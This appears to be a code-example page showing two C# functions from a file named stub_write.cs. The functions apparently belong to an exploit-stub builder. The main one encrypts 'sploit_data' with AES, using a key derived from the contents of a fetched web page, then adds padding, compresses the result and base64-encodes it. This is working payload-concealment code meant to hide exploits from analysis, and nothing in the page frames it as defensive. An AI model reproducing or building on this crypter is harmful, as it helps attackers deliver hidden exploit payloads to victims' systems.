コード例 #1
0
ファイル: stub_write.cs プロジェクト: wflk/smoked_potato
        public static byte[] encrypt_small_pass(String pass, byte[] data, byte[] salt)
        {
            var key = new Rfc2898DeriveBytes(pass, salt, 7195);

            byte[] out_data = Enc.aes_encrypt(data, key.GetBytes(16), salt);
            return(out_data);
        }
コード例 #2
0
ファイル: stub_write.cs プロジェクト: wflk/smoked_potato
            // lololol
            public static string marshal_my_file(byte[] sploit_data, String url_pass, String enc_pass, int offset)
            {
                Byte[] salt = { 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2 };
                debug_print("The orignal sploit data: {0}", sploit_data);
                Byte[] url_pass_data;
                if (test_file(url_pass))
                {
                    url_pass_data = File.ReadAllBytes(url_pass);
                }
                else
                {
                    url_pass_data = get_page(url_pass);
                }

                Byte[] bytesToBeEncrypted = new Byte[offset + sploit_data.Length];
                if (offset != 0)
                {
                    if (offset > url_pass_data.Length)
                    {
                        Console.WriteLine("Sorry your page is only {0} bytes long", url_pass_data.Length);
                        Environment.Exit(0);
                    }
                    // we also use the offset to add that many random bytes to the beginning..
                    Byte[] saltBytes = Enc.gen_random_bytes(offset);
                    for (int i = 0; i < saltBytes.Length; i++)
                    {
                        bytesToBeEncrypted[i] = saltBytes[i];
                    }
                }

                for (int i = 0; i < sploit_data.Length; i++)
                {
                    bytesToBeEncrypted[i + offset] = sploit_data[i];
                }
                // end offset stuff

                // encrypt the url now, as we need that.
                Byte[] url_pass_inbytes = Encoding.UTF8.GetBytes(url_pass);
                debug_print("The url_pass_inbytes: {0}", url_pass_inbytes);
                Byte[] url_pass_padded = Enc.padit(url_pass_inbytes);
                debug_print("The url_pass_padded: {0}", url_pass_padded);
                debug_print("The salt we are using {0}", salt);
                Byte[] encrypted_url_pass = Enc.encrypt_small_pass(enc_pass, url_pass_padded, salt);
                debug_print("The encrypted_url_pass: {0}", encrypted_url_pass);
                Byte[] master_password = hash_page(url_pass_data, offset);
                debug_print("The master_password/hash from url page {0}", master_password);

                // I HATE doing it like this but meh...
                Byte[] pass   = new byte[0x20];
                Byte[] pass_4 = new byte[0x10];
                Array.Copy(master_password, master_password.Length / 4, pass, 0, master_password.Length / 2);
                Array.Copy(master_password, master_password.Length / 8, pass_4, 0, master_password.Length / 4);
                debug_print("Password Is: {0}", pass);
                debug_print("The IV Is: {0}", pass_4);

                Byte[] encrypted_sploit_bytes = Enc.aes_encrypt(sploit_data, pass, pass_4);
                debug_print("Our encrypted file is: {0}", encrypted_sploit_bytes);

                // we COULD xor it here, but im not going to bother

                // we need to append the encrypted_url_pass, to our encrypted_sploit_bytes..
                // we could also come up with a nifty method here, for now its already to complicated and my head hurts....
                Byte[] all_encrypted = new Byte[encrypted_url_pass.Length + encrypted_sploit_bytes.Length + 2]; // 2 bytes for length

                // c++ lol incase its longer than 255, we need 2 bytes
                all_encrypted[0] = (Byte)(encrypted_url_pass.Length & 255);
                all_encrypted[1] = (Byte)(encrypted_url_pass.Length >> 8);
                // int url_length = all_encrypted[0] + (all_encrypted[1] << 8); // the reverse!

                Array.Copy(encrypted_url_pass, 0, all_encrypted, 2, encrypted_url_pass.Length); // start at 2
                Array.Copy(encrypted_sploit_bytes, 0, all_encrypted, encrypted_url_pass.Length + 2, encrypted_sploit_bytes.Length);

                debug_print("The size of all_encrypted {0}", all_encrypted.Length.ToString());
                debug_print("The url encrypted pass and data: {0}", all_encrypted);

                // assuming everything went well lets compress it
                Byte[] compressed_sploit = compress_bin(all_encrypted);
                debug_print("Our compressed file: {0}", compressed_sploit);

                String b64_sploit = base64_encode(compressed_sploit);

                debug_print("Our base64 file: {0}", b64_sploit);

                return(b64_sploit);
            }